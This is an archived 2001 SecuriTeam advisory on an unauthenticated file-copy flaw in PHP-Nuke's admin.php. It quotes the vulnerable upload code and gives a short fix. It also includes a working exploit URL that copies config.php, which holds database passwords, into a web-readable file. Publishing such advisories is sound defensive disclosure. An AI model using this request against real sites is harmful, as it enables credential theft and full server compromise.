[UNIX] Security Vulnerability in PHP-Nuke Allows File Copying (admin.php)
From: support@securiteam.comDate: 09/27/01
- Previous message: support@securiteam.com: "[UNIX] Hardening the BIND DNS Server"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
From: support@securiteam.com To: list@securiteam.com Subject: [UNIX] Security Vulnerability in PHP-Nuke Allows File Copying (admin.php) Message-Id: <20010927103418.73B3F138BF@mail.der-keiler.de> Date: Thu, 27 Sep 2001 12:34:18 +0200 (CEST)
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -
Security Vulnerability in PHP-Nuke Allows File Copying (admin.php)
------------------------------------------------------------------------
SUMMARY
<http://www.phpnuke.org/> PHP-Nuke is an open source webpage portal that
powers many websites on the net. A security vulnerability in the product
allows attackers to cause it to copy files from and to anywhere on the
operating system hard drives (and thus gain access to or overwrite
sensitive files). This would allow an attacker to completely compromise
the remote host.
DETAILS
Vulnerable systems:
PHP-Nuke 5.2 and prior
Immune systems:
PHP-Nuke 5.0 RC1 (only this one)
Exploit:
First run the following URL:
http://www.example.net/admin.php?upload=1
&file=config.php&file_name=hacked.txt&wdir=/images/&userfile=config.php
&userfile_name=hacked.txt
(NOTE: URL wrapped for readability)
Then access the created file:
http://www.example.net/images/hacked.txt
And you will see config.php that contains the DB passwords. Any other file
can be copied just as easily.
Vulnerable code:
The admin.php contains this routine:
$basedir = dirname($SCRIPT_FILENAME);
$textrows = 20;
$textcols = 85;
$udir = dirname($PHP_SELF);
if(!$wdir) $wdir="/";
if($cancel) $op="FileManager";
if($upload) {
copy($userfile,$basedir.$wdir.$userfile_name);
$lastaction = ""._UPLOADED." $userfile_name --> $wdir";
// This need a rewrite -------------------------------------> OMG! WE
AGREEEEEEEE lmao
//include("header.php");
//GraphicAdmin($hlpfile);
//html_header();
//displaydir();
$wdir2="/";
chdir($basedir . $wdir2);
//CloseTable();
//include("footer.php");
Header("Location: admin.php?op=FileManager");
exit;
}
That does not do a check to see if you are logged as admin or not, so you
can use it without any authentication.
Solution:
A temporary solution would be to change:
"if($upload) {"
To
"if (($upload) && ($admintest)) {"
ADDITIONAL INFORMATION
The information has been provided by <mailto:supergate@twlc.net>
supergate and <mailto:magnus@skjegstad.com> Magnus Skjegstad.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: support@securiteam.com: "[UNIX] Hardening the BIND DNS Server"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|
|